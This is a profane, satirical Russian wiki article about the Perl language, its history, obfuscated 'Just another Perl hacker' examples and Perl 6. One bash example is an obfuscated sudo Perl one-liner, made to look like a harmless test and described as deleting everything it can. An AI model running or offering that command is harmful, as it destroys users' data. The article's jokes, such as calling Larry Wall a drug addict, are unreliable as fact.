127.0.0.1: /* Perl 6 */

2019-12-16T18:16:26Z

Perl 6

Новая страница

{{Q|w=80%|Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть}}
{{Q|w=80%|PHP — это маленькое зло, созданное некомпетентными новичками, в то время как Perl — это большое и коварное зло, созданное умелыми, но извращёнными профессионалами.|Jon Ribbens}}

[[Файл:Perl.jpg|thumb]]
'''Perl''' (''Перл'', тж. ''Пёрл'', [[Быдлокодер|быдл.]] ''Перловка'') — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из [[Regexp|^регэкспов$]] чуть менее, чем полностью, и это так и было задумано: код скрипта — обёртка над ними. Собственно Perl и является родителем современнных регэкспов — они так и называются, '''PCRE''' ({{lang-en|Perl-compatible regular expressions}}).

Замысел Ларри Уолла соответствует идеям, заложенным в [[Unix]]: данные попадают в stdin, пробегают через код и регекспы, и отгружаются в stdout. Казалось бы, <code>^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$</code>…

== История ==
{{Q|w=80%|Перл — 1) сокровище, драгоценность, нечто выдающееся в ряду подобных (перл создания) 2) нечто нелепое, смешное, бессмысленное, в частности нелепое высказывание|из песни слов не выкинешь, Педивикия однако!}}

Жил-был один веселый наркоман по имени Ларри Уолл. Жил — не тужил, курил козье дерьмо и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Забил свою трубку козьим калом, затянулся этот мэн и обозвал свое детище — Perl'ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык для извлечения <del>неведомой ебаной хуиты</del> данных и составления отчетов), некоторые извращенцы (сам автор по «man perl») называют его Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер), более точный перевод Патологический разгребатель перемешанного мусора.

В [[эта страна|Рашке]] также называется ''ПЕРДЛ'', что расшифровывается от [[китайский код|китайского]] «'''П'''очему '''Е'''сли '''Р'''аботает '''Д'''елать '''Л'''учше», или, как говаривал, бывало, [[Мао|Дэн Сяопин]], «Неважно, какого цвета [[котэ|кошка]], лишь бы она ловила мышей».

[http://cpan.org/scripts/index.html Отлично подходит] для нужд бородатых [[одмин]]ов и [[кулхацкер]]ов. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что больно хитрожопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:

<code>первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко > вывод-сюда.csv 2> ошибки-туда.txt</code>

Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его и разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, [[ну ты понел]]. В этом качестве Перл полезен, удобен и прекрасен, а писать такие скрипты на нём — [[Ли Вонг Ян|прельстиво и тепло]]. В качестве среды разработки и выполнения web-скриптов он малопригоден и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.

== Философия ==

=== Корабль пустыни ===
[[Файл:PerlCamel.jpg|thumb|Да, это он — Корабль пустыни]]
Афоризм, лежащий в основе Дао Perl’а, — TMTOWTDI — «There’s more than one way to do it» — «Есть более одного способа сделать это» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и пушистой [[Python|змэйкой]], так же эффективно выполняя тот же байт-код, оформленный более читаемо для питонщиков и иже с ними, ибо.

[[Маскот]]ом Перла является верблюд с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl». Неприхотлив, вынослив, благонадёжен. Любит сигареты Camel и шоколадки Picnic.

Может и оплевать, если захочет.

=== Стереотипы ===
До создания еретического [[PHP|Пыха]] был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуиты) для быдлохоумпаг всяких [[Вася Пупкин|Вась Пупкиных]], не ведавших не то что про ООП, но даже про модуль CGI, и извлекавших переменные напрямую «руками» из QUERY_STRING<ref>Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные [[быдлокодер]]ами, кроме своей хоумпаги ничего не писавшими.</ref>. Особой мерзостью были зачислители платежей и биллинговые системы… которые до вас переписывали и после вас будут переписывать ещё 50 тысяч раз.

Так что ещё лет {{#expr:{{CURRENTYEAR}}-2001}} тому назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.

== Примеры ==

Пример типичной программы на Perl.

<source lang="perl">
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
</source>

[[Очевидно]], что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «[[Hello, world!]]».

Однако если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:

<source lang="perl">
#!/usr/bin/perl
print "Just another Perl hacker.\n";
</source>

Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию:

<source lang="perl">
$_='ev
al("seek\040D
ATA,0, 0;");foreach(1..3)
{<DATA>;}my @camel1hump;my$camel;
my$Camel ;while( <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary 1=split(//);if(defined($
_=<DATA>)){@camel1hum p=split(//);}while(@dromeda
ry1){my$camel1hump=0 ;my$CAMEL=3;if(defined($_=shif
t(@dromedary1 ))&&/\S/){$camel1hump+=1<<$CAMEL;}
$CAMEL--;if(d efined($_=shift(@dromedary1))&&/\S/){
$camel1hump+=1 <<$CAMEL;}$CAMEL--;if(defined($_=shift(
@camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
/LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
$_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval; eval
("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;( );;s
;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__ \124
\1 50\145\040\165\163\145\040\157\1 46\040\1 41\0
40\143\141 \155\145\1 54\040\1 51\155\ 141
\147\145\0 40\151\156 \040\141 \163\16 3\
157\143\ 151\141\16 4\151\1 57\156
\040\167 \151\164\1 50\040\ 120\1
45\162\ 154\040\15 1\163\ 040\14
1\040\1 64\162\1 41\144 \145\
155\14 1\162\ 153\04 0\157
\146\ 040\11 7\047\ 122\1
45\15 1\154\1 54\171 \040
\046\ 012\101\16 3\16
3\15 7\143\15 1\14
1\16 4\145\163 \054
\040 \111\156\14 3\056
\040\ 125\163\145\14 4\040\
167\1 51\164\1 50\0 40\160\
145\162 \155\151
\163\163 \151\1
57\156\056</source>

[http://www.cpan.org/misc/japh Ещё куча подобных примеров]

Существует другая популярная программа на Перле, реализующая [[rm -rf|патч Бармина]]. {{Spoiler|Предназначена для удаления всего, что сможет удалить.}} и если вы её уже запустили, то вас совсем не жаль. Вот [http://linuxhacker.ru/~shaman/perl-one.html применение].

<source lang="bash">
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
</source>

== Некоторые особенности языка ==

* Программы на Perl могут писаться на любых языках, например, на [http://search.cpan.org/~dconway/Lingua-Romana-Perligata-0.50/lib/Lingua/Romana/Perligata.pm латыни] или [http://search.cpan.org/~rcaputo/Acme-Phlegethoth-1.05/lib/Acme/Phlegethoth.pm языке] [[Ктулху|Древних]]. О написаніи программъ въ [[Мицгол|орѳографіи образца 1916-аго года]] покамѣстъ свѣдѣній нѣтъ.
* Perl — один из немногих языков c [http://search.cpan.org/~lembark/Quantum-Superpositions-2.02/lib/Quantum/Superpositions.pm поддержкой] [[:w:Квантовый компьютер|квантового исчисления]].
* <del>Perl — единственный язык, вид программы на котором не меняется после [[ююк]]анья.</del>
* [http://learn.perl.org/faq/perlfaq7.html Не описывается BNF]
* Многие скрипты [[генту]]шного portage написаны именно на нём. Местный пёрдл — это просто поле из граблей с автоподзаводом, он периодически выдает ошибки на ровном месте и прерывает компиляцию мира. Специально для борьбы с этим явлением злые гентушнеги придумали команду perl-cleaner.

== Perl 6 ==

Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде <del>[[Сферический конь в вакууме|сферического в вакууме]]</del> стандарта и допускает существование нескольких реализаций. Впервые про Него мир узнал в 2000 году и с переменным успехом знакомится и по сей день.

Наиболее полная реализация Perl 6 на данный момент — [http://rakudo.org/ Rakudo], под [http://www.moarvm.org/ MoarVM]. Также есть пока неполная поддержка [[Java|JVM]].

Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют собой ничего серьезного.

Дао Perl 6:

# Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.
# Всегда есть бесконечное количество различных способов сделать ''это''.
# Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.
# Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц-фильтры с помощью регулярных выражений, которые тоже можно перегружать.
# Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке<ref>Формальное [http://www.perlmonks.org/?node_id=663393 доказательство], что Перл нельзя распарсить</ref>. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. [[Мы работаем над этим]]. Когда мы закончим, наступит Армагеддон (который тоже можно будет перегрузить).

1;

=== Свершилось ===
И спустя почти 15 лет наконец дождались! Ларри Уолл официально представил Perl 6. Для тех, кому Perl 5 был слишком прост в освоении, добавили [[Haskell|паттерн-матчинг и ленивые списки]] (а если серьёзно, то [[:en.w:Pugs_(programming)|первая реализация Perl 6]] была написана на [[Haskell]], что логично), творчески переосмыслили нафиг весь синтаксис, а возможность менять его как угодно сделали основной фичей языка. А вы думали рандомный набор символов, как синтаксически правильный перлокод — это просто такая шутка была?

В результате получилось нечто весьма стрёмное. Адептов у сей поделки [[3,5 анонимуса|чуть более, чем нет]]: [[нуб|ньюфагов]] отпугивает охренительный порог входа и отсутствие вакансий, олдфаги негодуют от того, что сходство с пятеркой оканчивается на названии и повальной любви к регуляркам. В сухом остатке имеем еще один язык, который никому, кроме [[Гик|своих создателей]] нафиг [[Не нужен|не нужен]]. Что в определенной степени прискорбно: сил на него было потрачено немало, да и светлые идеи имеются в немалом количестве.

== Ссылки ==

* [http://www.peoples.ru/undertake/soft/larry_wall/ Биография Создателя]
* [http://dklab.ru/chicken/perl6/ Кое-что о Perl 6 от Лэрри Уолла]
* [http://2lx.ru/2011/01/sravnenie-perl-i-python-programmistov/ Сравнение Perl- и Python-программистов]
* [[Копипаста:Программирование#Пыхоплеяда|Пыхоплеяда]]
* [http://www.youtube.com/watch?v=-a7unnF48t0&feature=youtu.be&t=5m37s Про Perl и сексуальные предпочтения]

== Примечания ==
<references/>

{{ЛОР}}
{{Языки программирования}}

[[w:Perl]]
[[en.w:Perl]]
[[ae:Perl]]

Perl - История изменений

127.0.0.1: /* Perl 6 */